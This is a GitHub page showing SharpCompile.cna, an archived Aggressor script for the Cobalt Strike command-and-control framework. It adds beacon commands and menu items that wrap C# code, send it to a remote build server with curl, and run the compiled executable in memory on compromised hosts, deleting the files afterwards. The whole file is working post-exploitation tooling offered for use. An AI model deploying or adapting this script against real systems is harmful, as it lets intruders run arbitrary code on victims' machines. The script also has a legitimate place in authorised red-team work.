This repository has been archived by the owner on Aug 7, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathSharpCompile.cna
185 lines (156 loc) · 4.12 KB
/
SharpCompile.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
# ____ _ ____ _ _
# / ___|| |__ __ _ _ __ _ __ / ___|___ _ __ ___ _ __ (_) | ___
# \___ \| '_ \ / _` | '__| '_ \| | / _ \| '_ ` _ \| '_ \| | |/ _ \
# ___) | | | | (_| | | | |_) | |__| (_) | | | | | | |_) | | | __/
# |____/|_| |_|\__,_|_| | .__/ \____\___/|_| |_| |_| .__/|_|_|\___|
# |_| |_|
# @dtmsecurity 2018
# Some improvements by https://github.com/bitsadmin
#
# BEGIN CONFIG
#
# Server URI:
$sharpcompileserver = "https://<build server IP>/";
# Temporary path that exists on operator system:
$sharpcompilepath = "/tmp/SharpCompileTemp/";
#
# END CONFIG
#
beacon_command_register("sharp-exec", "Compile and execute C-Sharp code","Synopsis: sharp-exec [code]\n");
beacon_command_register("sharp-fexec", "Compile and execute C-Sharp file","Synopsis: sharp-exec [file] [arguments]\n");
sub generate_executionId
{
return "sharpcompile_" . int(rand() * 100000);
}
sub create_cs
{
$csFile = $sharpcompilepath . "sharpcompile_" . $executionId . ".cs";
# Template
$cs = "";
$cs = $cs . "using System;\r\n";
$cs = $cs . "namespace sharpcompile\r\n";
$cs = $cs . "{\r\n";
$cs = $cs . " class sharp\r\n";
$cs = $cs . " {\r\n";
$cs = $cs . " static void Main()\r\n";
$cs = $cs . " {\r\n";
$cs = $cs . " $2\r\n";
$cs = $cs . " }\r\n";
$cs = $cs . " }\r\n";
$cs = $cs . "}\r\n";
# Write to file
$outFile = "> " . $csFile;
$handle = openf($outFile);
writeb($handle, $cs);
closef($handle);
return $csFile;
}
sub compile_cs
{
# Compile .exe filename
$exeFile = $sharpcompilepath . $1 . ".exe";
$csFile = $2;
$cleanup = $3;
# Send request to SharpCompileServer
@command = @("curl", "--request", "POST", "--data-binary", "@".$csFile, "-o", $exeFile, $sharpcompileserver);
exec(@command); # exec() function is not blocking
# Workaround to make sure full binary has been received
$size = -1;
$timeout = 30;
while ((!-exists $exeFile || $size < 0 || $size < $newsize) && $timeout > 0) {
$size = $newsize;
$newsize = lof($exeFile);
sleep(100);
$timeout -= 1;
}
if($cleanup)
{
deleteFile($csFile);
}
if($timeout <= 0)
{
return "";
}
return $exeFile;
}
sub execute_exe
{
$bid = $1;
$exeFile = $2;
$params = $3;
# Execute
bexecute_assembly($bid, $exeFile, $params);
# Workaround to make sure file is deleted
while (-exists $exeFile)
{
sleep(100);
deleteFile($exeFile);
}
}
sub cmd-sharp-exec # (0=$ref, 1=$code, 2=$bid)
{
$bid = $2;
$executionId = generate_executionId();
# Extract code
$code = replace($1, "sharp-exec ", "");
# Obtain .cs filepath
$csFile = create_cs($executionId, $code);
# Compile .cs and obtain .exe
$exeFile = compile_cs($executionId, $csFile, 1);
if($exeFile eq "")
{
berror($bid, "Timeout while attempting to compile");
return;
}
# Execute .exe and cleanup
execute_exe($bid, $exeFile, "");
}
sub cmd-sharp-fexec # (0=$ref, 1=$full_cmdline, 2=$bid, 3=$filename)
{
$bid = $2;
$csFile = $3;
$executionId = generate_executionId();
# Extract commandline arguments for executable
$args = replace($1, "sharp-fexec ", "");
$args = replace($args, $csFile, "");
$args = matches($args, '\s*(.*)\s*')[0]; # Trim whitespaces
# Compile .cs and obtain .exe
$exeFile = compile_cs($executionId, $csFile, 0);
if($exeFile eq "")
{
berror($bid, "Timeout while attempting to compile");
return;
}
# Execute .exe and cleanup
execute_exe($bid, $exeFile, $args);
}
alias sharp-exec
{
cmd-sharp-exec($0, $1, $2, $3);
}
alias sharp-fexec
{
cmd-sharp-fexec($0, $1, $2, $3);
}
popup beacon {
menu "&Sharp Compile" {
item "&Compile and Execute C-Sharp"{
foreach $bid ($1){
prompt_file_open("Choose a .CS file", $null, false, {
cmd-sharp-fexec("", $bid, $1);
});
}
}
item "&Compile and Execute C-Sharp (With Arguments)"{
foreach $bid ($1){
$dialog = dialog("Compile and execute C-Sharp", $null, lambda({
cmd-sharp-fexec($3["args"], $bid, $3["file"]);
}));
drow_file($dialog, "file", "Choose a .CS file:");
drow_text($dialog, "args", "Assembly Arguments:");
dbutton_action($dialog, "Execute");
dialog_show($dialog);
}
}
}
}